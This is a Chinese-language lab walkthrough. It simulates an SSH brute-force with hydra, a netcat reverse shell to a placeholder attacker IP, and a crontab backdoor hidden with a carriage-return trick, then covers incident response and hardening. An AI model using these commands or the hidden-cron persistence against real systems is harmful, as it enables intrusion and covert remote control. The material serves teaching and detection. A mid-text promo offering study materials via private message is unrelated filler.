SSH简介
• Secure Shell(安全外壳协议,简称SSH)是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境。SSH通过在网络中创建安全隧道来实现SSH客户端与服务器之间的连接。
• SSH最常见的用途是远程登录系统,人们通常利用SSH来传输命令行界面和远程执行命令。SSH使用频率最高的场合是类Unix系统,但是Windows操作系统也能有限度地使用SSH,2015年,微软宣布将在未来的操作系统中提供原生SSH协议支持,Windows10 1803版本已提供OpenSSH工具。
SSH爆破——模拟攻击
1、信息收集
• 扫描目标主机的端口:
nmap -T4 -sT 靶机ip
• 发现存在 22 ,尝试爆破ssh
2、爆破SSH
• 使用hydra爆破:
hydra -L user.txt -P password.txt ssh://靶机ip
3、SSH登录
ssh root@靶机ip
4、尝试创建隐藏计划任务
• 进入 /tmp 目录创建 task.sh 文件:
vim task.sh
#!/bin/bash
nc 攻击机ip 8888 -e /bin/bash
• 赋予执行权限:
chmod +x task.sh
• 创建脚本 create_task.sh:
vim create_task.sh
(crontab -l;printf "* * * * * /tmp/task.sh;\rno crontw-wab for `whoami`%100c\n")|crontab -
• 赋予权限,执行 create_task.sh 脚本
• crontab -l :发现没有任务,定时任务已经隐藏
• 具体任务在 /var/spool/cron/crontabs/ 下查看
• 通过 cat
/var/spool/cron/crontabs/root 查看不到任务
• 可以通过 cat -A
/var/spool/cron/crontabs/root 查看隐藏的任务
• 或者: cat -vET
/var/spool/cron/crontabs/root
【——全网最全的网络安全学习资料包分享给爱学习的你,关注我,私信回复“资料领取”获取——】
1.网络安全多个方向学习路线
2.全网最全的CTF入门学习资料
3.一线大佬实战经验分享笔记
4.网安大厂面试题合集
5.红蓝对抗实战技术秘籍
6.网络安全基础入门、Linux、web安全、渗透测试方面视频
5、尝试 nc 连接目标主机的shell
• 开启监听:
nc –lvp 8888
• 发现过了一会就反弹了目标主机的 shell
应急响应——事件排查
1、查看网络连接情况
netstat –antpl
• 发现存在异常的连接:xxx.xxx.xxx.115:8888 ESTABLISHED 2371/bash
2、查看守护进程
• 查看进程树:
pstree –p
• 查看进程:
systemctl status 2371
• 发现计划任务
3、查看计划任务
• crontab -l :未发现有计划任务,可能是隐藏的计划任务
• 查看 /var/spool/cron/crontabs 下的任务
• 使用 cat -A root 或者 cat -vET root : 可以看到隐藏内容
• 或者 vim root :直接编辑也可以看到具体任务的内容
4、找到 task.sh 文件
查看文件上传时间:
ls -l /tmp/task.sh
查看文件内容,发现是通过 nc 反弹 shell :
cat /tmp/tash.sh
应急响应——溯源分析
1、分析任务文件 task.sh
查看文件上传时间:
ls -l /tmp/task.sh
• -rwxr-xr-x 1 root root 48 1月 12 18:31 /tmp/task.sh
• 发现权限为 root ,说明攻击者以 root 账户登录,很有可能 root 账户密码被攻破
2、查看登录日志
kali 下登录成功的日志:
last -f /var/log/wtmp
kali 下登录失败的日志,发现大量登录失败的日志:
last -f /var/log/btmp
3、总结
• 爆破时间: Wed Jan 12 18:25
• 爆破账户: root、admin等,最后成功爆破出root账户的密码
• 攻击者IP:xxx.xxx.xxx.115
• 可疑IP: xxx.xxx.xxx.115 成功爆破出系统xxx.xxx.xxx.104 的 root账户的密码,并且留 crontab隐藏后门,任务执行文件 /root/task.sh
应急响应——事件处置
1、删除计划任务、结束异常进程
• 删除隐藏计划任务:
crontab -r -u root
• 杀掉恶意进程:
kill 2371
2、删除恶意文件
rm create_task.sh
rm task.sh
3、修改账户密码,关闭 root 账户远程连接的权限
• passwd root :修改密码,增强密码防护
• vim /etc/ssh/sshd_config :修改 PermitRootLogin 为 no,增强权限控制